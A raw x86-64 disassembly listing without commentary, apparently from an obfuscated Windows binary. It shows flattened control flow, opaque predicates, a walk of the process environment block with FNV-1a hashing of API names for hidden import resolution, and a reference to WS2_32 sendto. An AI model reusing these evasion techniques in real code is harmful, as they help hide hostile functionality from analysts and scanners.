jne 0x1404adb6a
cmp qword [rbp + 0x328], 0
setne byte [rbp + 0x300]
mov ecx, 0xaf1b8639
jmp 0x1404ad8d0
mov ecx, 0x4fcfefba
jmp 0x1404ad8d0
mov rcx, qword [rbp + 0x2b8]
mov ecx, 0xee54680f
jmp 0x1404ad8d0
mov rax, qword [rbp + 0x288]
mov qword [rbp + 0x338], rax
mov eax, dword [0x140ae811c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae8120], 0xa
setl cl
or cl, al
mov eax, 0xc34c4d35
cmovne eax, edi
mov ecx, 0xc34c4d35
cmovne ecx, r14d
mov edx, 0xdb406100
nop word [rax + rax]
cmp edx, 0xda384f68
jle 0x1404ada90
cmp edx, 0xda384f69
je 0x1404adb2c
cmp edx, 0xc5b6513
je 0x1404adaa4
cmp edx, 0xdb406100
jne 0x1404ada50
mov rdx, qword [rbp + 0x338]
mov rdx, qword [rdx]
mov qword [rbp + 0x320], rdx
mov edx, 0xc5b6513
jmp 0x1404ada50
cmp edx, 0xc34c4d35
je 0x1404adaa8
cmp edx, 0xcef4daed
jne 0x1404ada50
mov edx, eax
jmp 0x1404ada50
mov edx, ecx
jmp 0x1404ada50
mov edx, 0xcef4daed
jmp 0x1404ada50
mov ecx, dword [0x140ae8188]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x6c6a35a7
cmove ecx, r12d
cmp dword [0x140ae818c], 0xa
cmovl ecx, r12d
jmp 0x1404ad8d0
mov rcx, qword [rbp + 0x2b8]
mov rcx, qword [rcx]
mov qword [rbp + 0x288], rcx
mov ecx, dword [0x140ae8188]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xa82d1f9a
cmove ecx, r13d
cmp dword [0x140ae818c], 0xa
cmovl ecx, r13d
jmp 0x1404ad8d0
mov rcx, qword [rbp + 0x310]
mov rcx, qword [rcx + 0x30]
mov qword [rbp + 0x328], rcx
mov ecx, 0x4ce14eb5
jmp 0x1404ad8d0
mov rax, qword [rbp + 0x320]
mov qword [rbp + 0x310], rax
mov rax, qword [rbp + 0x2b8]
mov rcx, qword [rbp + 0x310]
mov qword [rax], rcx
mov rax, qword [rbp + 0x310]
cmp rax, qword [rbp + 0x48]
mov ecx, 0x32cb807d
mov eax, 0x393b5af1
cmove ecx, eax
xor eax, eax
jmp 0x1404ad8d0
cmp ecx, 0x393b5af1
jne 0x1404ad8d0
and al, 1
mov byte [rbp + 0x336], al
mov ecx, 0xe9835e86
jmp 0x1404ac8cd
mov ecx, 0x52506099
xor eax, eax
mov qword [rbp + 0x1c0], rax
jmp 0x1404ac8cd
mov ecx, 0x32680fae
mov eax, dword [rbp + 0x260]
mov dword [rbp + 0x284], eax
jmp 0x1404ac8cd
mov rax, qword [rbp + 0x188]
mov ecx, 0xaf2c5ea1
jmp 0x1404ac8cd
mov eax, dword [rbp + 0x2b4]
mov rcx, qword [rbp + 0x2d8]
mov rdx, qword [rbp + 0x2e0]
mov qword [rbp + 0x328], rcx
mov ecx, dword [rdx + 0x20]
mov dword [rbp + 0x310], ecx
mov edx, 0x1693d0f7
nop dword [rax + rax]
cmp edx, 0x2d3e5cdb
je 0x1404ae3ca
cmp edx, 0x1693d0f7
jne 0x1404adbf0
mov ecx, dword [rbp + 0x310]
add rcx, qword [rbp + 0x328]
mov edx, 0x2d3e5cdb
jmp 0x1404adbf0
mov eax, dword [rbp + 0x278]
mov ecx, 0x1fe09a46
jmp 0x1404ac8cd
mov r9, qword [rbp + 0x320]
mov qword [rbp + 0x2e0], r9
mov eax, dword [rbp + 0x328]
mov ecx, dword [0x140ae8138]
mov edx, dword [0x140ae813c]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
sete byte [rbp + 0x328]
cmp edx, 0xa
setl dl
setl byte [rbp + 0x338]
or dl, cl
mov edx, 0x5ffb31d3
mov ecx, 0x1ca53357
cmovne edx, ecx
mov dword [rbp + 0x2e8], eax
mov esi, 0x5ffb31d3
mov eax, 0xac60f90c
cmovne esi, eax
mov edi, 0xeeead46
mov eax, 0x3d145519
cmovne edi, eax
mov ebx, 0x9f42beca
jmp 0x1404adcb0
mov ebx, 0x349a2816
nop word cs:[rax + rax]
nop dword [rax]
mov eax, ebx
cmp ebx, 0x1fb628ea
jg 0x1404adce0
cmp eax, 0xd2cc2d7a
jle 0x1404add00
cmp eax, 0xeeead46
je 0x1404adc9e
cmp eax, 0x1ca53357
jne 0x1404add6d
mov ebx, 0xd2cc2d7b
jmp 0x1404adcb0
cmp eax, 0x3d145518
jg 0x1404add20
mov ebx, esi
cmp eax, 0x1fb628eb
je 0x1404adcb0
mov ebx, eax
cmp eax, 0x349a2816
jne 0x1404adcb0
mov ebx, edi
jmp 0x1404adcb0
cmp eax, 0x9f42beca
je 0x1404add3a
mov ebx, eax
cmp eax, 0xac60f90c
jne 0x1404adcb0
mov ebx, edx
jmp 0x1404adcb0
cmp eax, 0x3d145519
je 0x1404add63
mov ebx, eax
cmp eax, 0x5ffb31d3
jne 0x1404adcb0
mov ebx, 0xac60f90c
jmp 0x1404adcb0
movzx eax, byte [rbp + 0x328]
cmp byte [rbp + 0x338], 0
mov ecx, 0x349a2816
mov ebx, 0x349a2816
jne 0x1404add59
mov ebx, 0xeeead46
test al, al
cmovne ebx, ecx
jmp 0x1404adcb0
mov ebx, 0x1fb628eb
jmp 0x1404adcb0
mov ebx, eax
cmp eax, 0xd2cc2d7b
jne 0x1404adcb0
cmp r9, r8
setne byte [rbp + 0x320]
cmp byte [rbp + 0x320], 0
mov ecx, 0x8707b459
mov eax, 0x5f9cf96
cmovne ecx, eax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x1b8], rax
jmp 0x1404aea9e
mov ecx, 0xd382da7b
jmp 0x1404ac8cd
mov ecx, 0x935609e6
mov dword [rbp + 0x1a0], 0
mov rax, qword [rbp + 0x1b8]
mov qword [rbp + 0x1b0], rax
jmp 0x1404ac8cd
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x150], rax
mov eax, dword [0x140ae9590]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x2c770238
mov eax, 0xeef77691
jmp 0x1404ac8c0
mov eax, dword [0x140ae8148]
mov ecx, dword [0x140ae814c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x2c4]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x2c0]
mov edx, dword [0x140ae8150]
mov r8d, dword [0x140ae8154]
lea r10d, [rdx - 1]
imul r10d, edx
test r10b, 1
sete dl
cmp r8d, 0xa
setl bl
or bl, dl
mov edx, 0x1806efec
mov ebx, 0x2d12b554
cmovne edx, ebx
mov esi, 0x1806efec
mov ebx, 0xc7e4f419
cmovne esi, ebx
mov r15d, 0x50ecbf49
mov ebx, 0xb7bc901d
cmovne r15d, ebx
mov r12d, 0x50ecbf49
mov ebx, 0xe073d505
cmovne r12d, ebx
mov r13d, 0xb58a2df5
mov ebx, 0xb79c9156
cmovne r13d, ebx
or cl, al
mov r9d, 0x40dbb7c4
mov eax, 0xa9b92767
cmovne r9d, eax
lea rax, [rbp + 0x40]
mov qword [rbp + 0x2b8], rax
mov r14d, 0x40dbb7c4
mov eax, 0xc7078832
cmovne r14d, eax
mov r11d, 0x7282843
mov eax, 0x15d8b3b5
cmovne r11d, eax
mov edi, 0x7245ccbf
jmp 0x1404adef0
mov rax, qword [rbp + 0x310]
mov edi, 0xc7078832
nop dword [rax + rax]
mov ecx, edi
cmp edi, 0x12477acc
jg 0x1404adf30
cmp ecx, 0xeb677b59
jg 0x1404adf60
cmp ecx, 0xc5530a32
je 0x1404ae15e
cmp ecx, 0xc7078832
jne 0x1404ae346
mov rax, qword [rbp + 0x310]
mov qword [rbp + 0x328], rax
mov edi, r9d
jmp 0x1404adef0
cmp ecx, 0x40dbb7c3
jg 0x1404ae120
cmp ecx, 0x12477acd
je 0x1404ae2f2
mov edi, ecx
cmp ecx, 0x15d8b3b5
jne 0x1404adef0
mov edi, 0x12477acd
jmp 0x1404adef0
mov edi, r14d
cmp ecx, 0xeb677b5a
je 0x1404adef0
mov edi, ecx
cmp ecx, 0x7282843
jne 0x1404adef0
test r10b, 1
sete byte [rbp + 0x2fc]
cmp r8d, 0xa
setl byte [rbp + 0x300]
mov ebx, 0xe6aa786e
jmp 0x1404adfa0
mov ebx, 0xc7e4f419
nop dword [rax + rax]
mov edi, ebx
cmp ebx, 0xe6aa786d
jg 0x1404adfe0
cmp edi, 0xb7bc901c
jg 0x1404ae010
mov ebx, esi
cmp edi, 0xa6904a62
je 0x1404adfa0
cmp edi, 0xb58a2df5
je 0x1404ae06f
mov ebx, edi
cmp edi, 0xb79c9156
jne 0x1404adfa0
mov ebx, 0x2bd10b98
jmp 0x1404adfa0
cmp edi, 0x2d12b553
jg 0x1404ae047
cmp edi, 0xe6aa786e
je 0x1404ae082
cmp edi, 0x1806efec
je 0x1404adf96
mov ebx, edi
cmp edi, 0x2bd10b98
jne 0x1404adfa0
mov ebx, r12d
jmp 0x1404adfa0
cmp edi, 0xb7bc901d
je 0x1404ae0ab
mov ebx, edx
cmp edi, 0xc7e4f419
je 0x1404adfa0
mov ebx, edi
cmp edi, 0xe073d505
jne 0x1404adfa0
mov rcx, qword [rbp + 0x338]
mov ebx, r15d
jmp 0x1404adfa0
cmp edi, 0x50ecbf49
je 0x1404ae0b5
cmp edi, 0x7e9a4a9e
jne 0x1404ae0c6
mov rax, qword gs:[0x60]
mov qword [rbp + 0x338], rax
mov ebx, r13d
jmp 0x1404adfa0
mov rax, qword gs:[0x60]
mov ebx, 0x7e9a4a9e
jmp 0x1404adfa0
movzx eax, byte [rbp + 0x2fc]
cmp byte [rbp + 0x300], 0
mov edi, 0x7e9a4a9e
mov ebx, 0x7e9a4a9e
jne 0x1404ae0a1
mov ebx, 0xb58a2df5
test al, al
cmovne ebx, edi
jmp 0x1404adfa0
mov ebx, 0xa6904a62
jmp 0x1404adfa0
mov rax, qword [rbp + 0x338]
mov ebx, 0xe073d505
jmp 0x1404adfa0
mov ebx, edi
cmp edi, 0x2d12b554
jne 0x1404adfa0
mov qword [rbp + 0x320], rcx
mov rax, qword [rbp + 0x320]
mov qword [rbp + 0x338], rax
mov edi, 0x8546b22b
nop
cmp edi, 0x3876635d
je 0x1404ae30d
cmp edi, 0x8546b22b
jne 0x1404ae0f0
mov rax, qword [rbp + 0x338]
mov rcx, qword [rax + 0x18]
mov edi, 0x3876635d
jmp 0x1404ae0f0
cmp ecx, 0x40dbb7c4
je 0x1404adedc
mov edi, ecx
cmp ecx, 0x7245ccbf
jne 0x1404adef0
mov al, byte [rbp + 0x2c4]
cmp byte [rbp + 0x2c0], 0
mov edi, 0x7282843
mov ecx, 0xc5530a32
cmovne edi, ecx
test al, al
cmovne edi, ecx
jmp 0x1404adef0
test r10b, 1
sete byte [rbp + 0x2fc]
cmp r8d, 0xa
setl byte [rbp + 0x300]
mov ebx, 0xe6aa786e
jmp 0x1404ae180
mov ebx, 0xc7e4f419
mov edi, ebx
cmp ebx, 0xe6aa786d
jg 0x1404ae1c0
cmp edi, 0xb7bc901c
jg 0x1404ae1f0
mov ebx, esi
cmp edi, 0xa6904a62
je 0x1404ae180
cmp edi, 0xb58a2df5
je 0x1404ae24f
mov ebx, edi
cmp edi, 0xb79c9156
jne 0x1404ae180
mov ebx, 0x2bd10b98
jmp 0x1404ae180
cmp edi, 0x2d12b553
jg 0x1404ae227
cmp edi, 0xe6aa786e
je 0x1404ae262
cmp edi, 0x1806efec
je 0x1404ae17b
mov ebx, edi
cmp edi, 0x2bd10b98
jne 0x1404ae180
mov ebx, r12d
jmp 0x1404ae180
cmp edi, 0xb7bc901d
je 0x1404ae28b
mov ebx, edx
cmp edi, 0xc7e4f419
je 0x1404ae180
mov ebx, edi
cmp edi, 0xe073d505
jne 0x1404ae180
mov rcx, qword [rbp + 0x338]
mov ebx, r15d
jmp 0x1404ae180
cmp edi, 0x50ecbf49
je 0x1404ae295
cmp edi, 0x7e9a4a9e
jne 0x1404ae2a6
mov rax, qword gs:[0x60]
mov qword [rbp + 0x338], rax
mov ebx, r13d
jmp 0x1404ae180
mov rax, qword gs:[0x60]
mov ebx, 0x7e9a4a9e
jmp 0x1404ae180
movzx eax, byte [rbp + 0x2fc]
cmp byte [rbp + 0x300], 0
mov edi, 0x7e9a4a9e
mov ebx, 0x7e9a4a9e
jne 0x1404ae281
mov ebx, 0xb58a2df5
test al, al
cmovne ebx, edi
jmp 0x1404ae180
mov ebx, 0xa6904a62
jmp 0x1404ae180
mov rax, qword [rbp + 0x338]
mov ebx, 0xe073d505
jmp 0x1404ae180
mov ebx, edi
cmp edi, 0x2d12b554
jne 0x1404ae180
mov qword [rbp + 0x320], rcx
mov rax, qword [rbp + 0x320]
mov qword [rbp + 0x338], rax
mov edi, 0x8546b22b
nop
cmp edi, 0x3876635d
je 0x1404ae325
cmp edi, 0x8546b22b
jne 0x1404ae2d0
mov rax, qword [rbp + 0x338]
mov rcx, qword [rax + 0x18]
mov edi, 0x3876635d
jmp 0x1404ae2d0
mov rax, qword [rbp + 0x288]
mov rax, qword [rax]
mov qword [rbp + 0x310], rax
mov edi, 0xeb677b5a
jmp 0x1404adef0
mov qword [rbp + 0x320], rcx
mov rax, qword [rbp + 0x320]
mov edi, 0xc5530a32
jmp 0x1404adef0
mov qword [rbp + 0x320], rcx
mov rax, qword [rbp + 0x320]
add rax, 0x10
mov qword [rbp + 0x288], rax
mov edi, r11d
jmp 0x1404adef0
mov edi, ecx
cmp ecx, 0xa9b92767
jne 0x1404adef0
mov rax, qword [rbp + 0x328]
mov rcx, qword [rbp + 0x2b8]
mov qword [rcx], rax
mov qword [rbp + 0x48], rax
mov ecx, 0x29d6a750
jmp 0x1404aea86
mov ecx, 0xff757015
mov dword [rbp + 0x280], 0
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x1a8], rax
jmp 0x1404ac8cd
mov rax, qword [rbp + 0x320]
mov eax, dword [rax]
add rax, qword [rbp + 0x310]
mov qword [rbp + 0x188], rax
mov eax, dword [0x140ae9590]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x54ac81ed
mov eax, 0x5e9a9ac2
jmp 0x1404ac8c0
mov qword [rbp + 0x338], rcx
mov qword [rbp + 0x320], rax
mov rax, qword [rbp + 0x338]
mov rcx, qword [rbp + 0x320]
mov eax, dword [rax + rcx*4]
add rax, qword [rbp + 0x328]
mov qword [rbp + 0x160], rax
mov eax, dword [0x140ae8128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae812c], 0xa
setl cl
or cl, al
mov eax, dword [0x140ae8130]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x140ae8134], 0xa
setl dl
or dl, al
mov edi, 0xa8c1e4bc
mov eax, 0x162d485e
cmovne edi, eax
mov eax, 0xa8c1e4bc
mov edx, 0x3bfdfa96
cmovne eax, edx
mov esi, 0xcbec2657
mov edx, 0x3d103833
cmovne esi, edx
mov r10d, 0xcbec2657
mov edx, 0x97d6b74c
cmovne r10d, edx
test cl, cl
mov r8d, 0x7c4755d
mov ecx, 0xb69743ae
cmovne r8d, ecx
mov edx, 0x7c4755d
mov ecx, 0xb10b2499
cmovne edx, ecx
mov dword [rbp + 0x168], edx
mov edx, 0x803f1b2f
mov ecx, 0x1e021d7e
cmovne edx, ecx
mov dword [rbp + 0x268], edx
mov edx, 0x803f1b2f
mov ecx, 0xe91aaf98
cmovne edx, ecx
mov dword [rbp + 0x26c], edx
mov r9d, 0x1779598e
mov ecx, 0x163a0f30
cmovne r9d, ecx
mov edx, 0x1779598e
mov ecx, 0xd3c21c63
cmovne edx, ecx
mov dword [rbp + 0x264], edx
mov edx, 0x17e69b4a
mov ecx, 0x89a14e6f
cmovne edx, ecx
mov dword [rbp + 0x270], edx
mov r12d, 0x17e69b4a
mov ecx, 0xb3ac832
cmovne r12d, ecx
mov ecx, 0xe098d522
mov dword [rbp + 0x274], r9d
jmp 0x1404ae510
mov ecx, 0xb10b2499
nop word [rax + rax]
mov edx, ecx
cmp ecx, 0x7c4755c
jle 0x1404ae7f0
cmp edx, 0x17e69b49
jle 0x1404ae840
cmp edx, 0x473e8a80
jg 0x1404ae8f2
cmp edx, 0x17e69b4a
je 0x1404ae9a4
cmp edx, 0x1e021d7e
je 0x1404ae9ae
mov ecx, edx
cmp edx, 0x237bb451
jne 0x1404ae510
mov qword [rbp + 0x158], rbx
mov dword [rbp + 0x2d4], r14d
mov dword [rbp + 0x290], r11d
mov ebx, r8d
movsx edx, byte [rbp + 0x31e]
mov r11d, dword [rbp + 0x2fc]
mov r8d, 0xd81fc671
jmp 0x1404ae5b0
mov ecx, dword [rbp + 0x328]
mov ecx, dword [rbp + 0x328]
mov ecx, dword [rbp + 0x328]
mov ecx, dword [rbp + 0x328]
mov r8d, 0x3bfdfa96
nop word cs:[rax + rax]
nop
mov ecx, r8d
cmp r8d, 0x3bfdfa95
jle 0x1404ae600
cmp ecx, 0x491c42a4
jle 0x1404ae640
cmp ecx, 0x5ae5fef5
jg 0x1404ae6c2
cmp ecx, 0x491c42a5
je 0x1404ae724
mov r8d, ecx
cmp ecx, 0x49f89684
jne 0x1404ae5b0
mov dword [rbp + 0x328], r14d
mov r8d, eax
jmp 0x1404ae5b0
cmp ecx, 0xa8c1e4bb
jle 0x1404ae690
cmp ecx, 0xd81fc670
jg 0x1404ae6f7
cmp ecx, 0xa8c1e4bc
je 0x1404ae586
mov r8d, ecx
cmp ecx, 0xcbec2657
jne 0x1404ae5b0
mov r8d, 0x97d6b74c
jmp 0x1404ae5b0
cmp ecx, 0x3bfdfa96
je 0x1404ae73f
cmp ecx, 0x3d103833
je 0x1404ae757
mov r8d, ecx
cmp ecx, 0x43d862de
jne 0x1404ae5b0
cmp byte [rbp + 0x335], 0
mov r8d, 0x5ae5fef6
mov ecx, 0x491c42a5
cmovne r8d, ecx
jmp 0x1404ae5b0
mov r8d, r10d
cmp ecx, 0x857613f4
je 0x1404ae5b0
cmp ecx, 0x91fe2f04
je 0x1404ae769
mov r8d, ecx
cmp ecx, 0x97d6b74c
jne 0x1404ae5b0
mov r8d, esi
jmp 0x1404ae5b0
cmp ecx, 0x5ae5fef6
je 0x1404ae784
mov r8d, ecx
cmp ecx, 0x73385a14
jne 0x1404ae5b0
mov ecx, dword [rbp + 0x2b8]
or ecx, 0x20
mov dword [rbp + 0x288], ecx
mov r8d, 0x857613f4
jmp 0x1404ae5b0
cmp ecx, 0xd81fc671
jne 0x1404ae796
mov dword [rbp + 0x2b8], edx
mov ecx, dword [rbp + 0x2b8]
cmp ecx, 0x41
setge byte [rbp + 0x335]
mov r8d, 0x43d862de
jmp 0x1404ae5b0
mov ecx, dword [rbp + 0x2b8]
cmp ecx, 0x5b
setl byte [rbp + 0x334]
mov r8d, 0x91fe2f04
jmp 0x1404ae5b0
mov ecx, dword [rbp + 0x328]
xor ecx, r11d
imul r9d, ecx, 0x1000193
mov r8d, edi
jmp 0x1404ae5b0
mov r8d, 0x49f89684
mov r14d, dword [rbp + 0x288]
jmp 0x1404ae5b0
cmp byte [rbp + 0x334], 0
mov r8d, 0x5ae5fef6
mov ecx, 0x73385a14
cmovne r8d, ecx
jmp 0x1404ae5b0
mov r8d, 0x49f89684
mov r14d, dword [rbp + 0x2b8]
jmp 0x1404ae5b0
mov r8d, ecx
cmp ecx, 0x162d485e
jne 0x1404ae5b0
mov dword [rbp + 0x310], r9d
mov ecx, dword [rbp + 0x310]
mov dword [rbp + 0x2c4], ecx
mov ecx, 0x91995dcd
mov r8d, ebx
mov r9d, dword [rbp + 0x274]
mov r11d, dword [rbp + 0x290]
mov r14d, dword [rbp + 0x2d4]
mov rbx, qword [rbp + 0x158]
jmp 0x1404ae510
cmp edx, 0xb10b2498
jg 0x1404ae880
cmp edx, 0x89a14e6e
jle 0x1404ae923
cmp edx, 0x89a14e6f
je 0x1404ae9c7
cmp edx, 0x8f1ff919
je 0x1404ae9d1
mov ecx, edx
cmp edx, 0x91995dcd
jne 0x1404ae510
mov ecx, dword [rbp + 0x168]
jmp 0x1404ae510
cmp edx, 0xe81cf2c
jle 0x1404ae958
cmp edx, 0xe81cf2d
je 0x1404ae9f6
cmp edx, 0x163a0f30
je 0x1404aea14
mov ecx, edx
cmp edx, 0x1779598e
jne 0x1404ae510
mov ecx, 0xd3c21c63
jmp 0x1404ae510
cmp edx, 0xd3c21c62
jle 0x1404ae97d
mov ecx, r9d
cmp edx, 0xd3c21c63
je 0x1404ae510
mov ecx, r12d
cmp edx, 0xe098d522
je 0x1404ae510
mov ecx, edx
cmp edx, 0xe91aaf98
jne 0x1404ae510
mov rcx, qword [rbp + 0x320]
add rcx, 1
mov qword [rbp + 0x338], rcx
mov rcx, qword [rbp + 0x320]
mov cl, byte [rcx]
mov byte [rbp + 0x31e], cl
cmp byte [rbp + 0x31e], 0
setne byte [rbp + 0x31c]
mov ecx, dword [rbp + 0x268]
jmp 0x1404ae510
cmp edx, 0x4952a100
je 0x1404aea2b
mov ecx, dword [rbp + 0x264]
cmp edx, 0x574b71b6
je 0x1404ae510
mov ecx, edx
cmp edx, 0x473e8a81
jne 0x1404ae510
jmp 0x1404aea75
cmp edx, 0x803f1b2f
je 0x1404aea5d
mov ecx, edx
cmp edx, 0x81b25ea0
jne 0x1404ae510
mov r15d, dword [rbp + 0x2c4]
mov ecx, 0x4952a100
xor r13d, r13d
mov r11d, dword [rbp + 0x2c0]
jmp 0x1404ae510
cmp edx, 0x7c4755d
je 0x1404ae505
mov ecx, edx
cmp edx, 0xb3ac832
jne 0x1404ae510
mov ecx, dword [rbp + 0x270]
jmp 0x1404ae510
mov ecx, r8d
cmp edx, 0xb10b2499
je 0x1404ae510
mov ecx, edx
cmp edx, 0xb69743ae
jne 0x1404ae510
mov ecx, 0x81b25ea0
jmp 0x1404ae510
mov ecx, 0xb3ac832
jmp 0x1404ae510
cmp byte [rbp + 0x31c], 0
mov ecx, 0xe81cf2d
mov edx, 0x237bb451
cmovne ecx, edx
jmp 0x1404ae510
mov ecx, 0x574b71b6
jmp 0x1404ae510
mov ecx, dword [rbp + 0x258]
mov dword [rbp + 0x2c0], ecx
mov dword [rbp + 0x2fc], r14d
mov qword [rbp + 0x320], rbx
mov ecx, dword [rbp + 0x26c]
jmp 0x1404ae510
mov r15d, dword [rbp + 0x2fc]
mov ecx, 0x4952a100
mov r13d, 1
mov r11d, dword [rbp + 0x2fc]
jmp 0x1404ae510
mov ecx, 0x8f1ff919
mov r14d, 0x811c9dc5
mov rbx, qword [rbp + 0x160]
jmp 0x1404ae510
mov dword [rbp + 0x300], r11d
test r13d, r13d
mov ecx, 0x473e8a81
mov edx, 0x8f1ff919
cmove ecx, edx
mov rbx, qword [rbp + 0x338]
mov edx, dword [rbp + 0x300]
mov dword [rbp + 0x258], edx
mov r14d, r15d
jmp 0x1404ae510
mov rcx, qword [rbp + 0x320]
mov rcx, qword [rbp + 0x320]
mov ecx, 0xe91aaf98
jmp 0x1404ae510
mov eax, dword [rbp + 0x300]
mov dword [rbp + 0x2c8], eax
mov ecx, 0xa39f20f6
mov r15d, 0xe6af3b71
mov r12d, 0x75a3b107
mov r13d, 0x85dafd84
mov r10d, 0xee54680f
mov edi, 0xda384f69
mov r14d, 0xcef4daed
jmp 0x1404ac8cd
cmp ecx, 0x52506099
jne 0x1404ac8cd
mov rax, qword [rbp + 0x198]
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2d8]
sub rsp, 0x20
mov ecx, 1
call rax
mov r10d, 0xee54680f
add rsp, 0x20
cwde
mov dword [rbp + 0x140], eax
mov eax, 0x82ddc481
jmp 0x1404ac53d
cmp eax, 0xbc0d848c
jle 0x1404af05c
cmp eax, 0xc3260e7a
jle 0x1404af54f
cmp eax, 0xc8ad6a67
jle 0x1404b0005
cmp eax, 0xc96d5ebf
jg 0x1404b1304
cmp eax, 0xc8ad6a68
je 0x1404b168a
cmp eax, 0xc90ab85f
jne 0x1404ac53d
mov al, byte [0x140ae7d42]
mov byte [rbp + 0x1ee], al
mov eax, 0xce04e003
jmp 0x1404ac53d
cmp eax, 0x1e63de26
jle 0x1404af09d
cmp eax, 0x20d80676
jle 0x1404af5d8
cmp eax, 0x21d53261
jle 0x1404b0044
cmp eax, 0x24e2ebe5
jg 0x1404b1338
cmp eax, 0x21d53262
je 0x1404b16b2
cmp eax, 0x21ef60d8
jne 0x1404ac53d
mov eax, 0x8dbda13b
jmp 0x1404ac53d
cmp eax, 0x9eedcd91
jle 0x1404af12a
cmp eax, 0xa275807f
jle 0x1404af60e
cmp eax, 0xa5e18cdc
jle 0x1404b0083
cmp eax, 0xa609c6d4
jg 0x1404b136c
cmp eax, 0xa5e18cdd
je 0x1404b16e5
cmp eax, 0xa6071712
jne 0x1404ac53d
mov eax, 0xf53037b4
jmp 0x1404ac53d
cmp eax, 0x6712d84a
jle 0x1404af17f
cmp eax, 0x6bc17ea9
jle 0x1404af644
cmp eax, 0x6e8ad77f
jle 0x1404b00bc
cmp eax, 0x6f8b5f82
jg 0x1404b138c
cmp eax, 0x6e8ad780
je 0x1404b16ef
cmp eax, 0x6ee15d46
jne 0x1404ac53d
cmp byte [rbp + 0x1e8], 0
mov eax, 0x95b0cd28
mov ecx, 0xb9aac0bf
cmovne eax, ecx
jmp 0x1404ac53d
cmp eax, 0xe162120d
jle 0x1404af1c0
cmp eax, 0xe41465da
jle 0x1404af67a
cmp eax, 0xe5a82bc8
jle 0x1404b0103
cmp eax, 0xe6a7e6cb
jg 0x1404b13bd
cmp eax, 0xe5a82bc9
je 0x1404b1703
cmp eax, 0xe685f9d7
jne 0x1404ac53d
mov dword [rbp + 0xb0], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x2aa], 1
mov eax, 0x93ff4e56
jmp 0x1404ac53d
cmp eax, 0xf3561ff
jle 0x1404af219
cmp eax, 0x13ac5a51
jle 0x1404af6d0
cmp eax, 0x15a20b9d
jle 0x1404b012e
cmp eax, 0x161c7949
jg 0x1404b1422
cmp eax, 0x15a20b9e
je 0x1404b1713
cmp eax, 0x15cb31ee
jne 0x1404ac53d
mov dword [0x140ad7690], 0xffffffff
mov eax, 0xf367ce44
jmp 0x1404ac53d
cmp eax, 0x91c813e7
jle 0x1404af265
cmp eax, 0x93ff4e55
jle 0x1404af70b
cmp eax, 0x94b8b4e4
jle 0x1404b0159
cmp eax, 0x955c8b5d
jg 0x1404b1442
cmp eax, 0x94b8b4e5
je 0x1404b1752
cmp eax, 0x9508ef31
jne 0x1404ac53d
movss xmm0, dword [rbp + 0x1c]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0x712871f8
nop dword [rax]
cmp eax, 0x712871f8
je 0x1404aed73
cmp eax, 0x77be9b2c
jne 0x1404aed60
jmp 0x1404b1770
mov eax, 0x77be9b2c
jmp 0x1404aed60
cmp eax, 0x525b1dc4
jle 0x1404af2c1
cmp eax, 0x58220e86
jle 0x1404af755
cmp eax, 0x59300a66
jle 0x1404b01a6
cmp eax, 0x59bbb195
jg 0x1404b147e
cmp eax, 0x59300a67
je 0x1404b179c
cmp eax, 0x59405bb4
jne 0x1404ac53d
mov dword [0x140ae7d90], 0xa
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x499da090
mov ecx, 0x1f08d729
jmp 0x1404ac530
cmp eax, 0xd5671a33
jle 0x1404af7a5
cmp eax, 0xd6a6273f
jle 0x1404b01e0
cmp eax, 0xd8fc7299
jg 0x1404b14af
cmp eax, 0xd6a62740
je 0x1404b1860
cmp eax, 0xd6dbf85a
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x396dda4e
mov ecx, 0x9776a89c
jmp 0x1404ac530
cmp eax, 0x35d6625f
jle 0x1404af7e5
cmp eax, 0x37944d74
jle 0x1404b022f
cmp eax, 0x396dda4d
jg 0x1404b14e3
cmp eax, 0x37944d75
je 0x1404b1876
cmp eax, 0x37c9f7db
jne 0x1404ac53d
mov eax, 0xf53037b4
jmp 0x1404ac53d
cmp eax, 0xb108c748
jle 0x1404af9bc
cmp eax, 0xb3d51752
jle 0x1404b025a
cmp eax, 0xb44c9933
jg 0x1404b1521
cmp eax, 0xb3d51753
je 0x1404b1880
cmp eax, 0xb4403b7c
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x196a1b37
mov ecx, 0x3bf30699
jmp 0x1404ac530
cmp eax, 0x7c1ad294
jle 0x1404af9f2
cmp eax, 0x7e90d3d4
jle 0x1404b0299
cmp eax, 0x7e982494
jg 0x1404b1552
cmp eax, 0x7e90d3d5
je 0x1404b188a
cmp eax, 0x7e978dee
jne 0x1404ac53d
mov rax, qword [rbp + 0x130]
ucomiss xmm12, dword [rax]
mov eax, 0x705cf433
mov ecx, 0x2ccf8084
cmovne eax, ecx
cmovp eax, ecx
jmp 0x1404ac53d
cmp eax, 0xf2cfc271
jle 0x1404afa3d
cmp eax, 0xf596517d
jle 0x1404b02df
cmp eax, 0xf7516f66
jg 0x1404b1572
cmp eax, 0xf596517e
je 0x1404b18a5
cmp eax, 0xf6610ab6
jne 0x1404ac53d
cmp byte [rbp + 0x1ff], 0
mov eax, 0x21b508c9
mov ecx, 0x9eedcd92
cmovne eax, ecx
jmp 0x1404ac53d
